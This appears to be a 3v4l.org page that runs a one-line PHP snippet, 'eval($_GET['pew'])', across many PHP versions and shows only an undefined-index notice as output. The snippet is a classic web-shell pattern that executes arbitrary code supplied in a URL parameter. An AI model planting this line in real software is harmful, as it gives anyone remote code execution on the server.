3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $x = eval($_GET['pew']);
based on gGVJn
Output for 5.3.0 - 7.1.0
Notice: Undefined index: pew in /in/cTDZC on line 2
Output for 4.3.0 - 5.2.17
Notice: Undefined index: pew in /in/cTDZC on line 2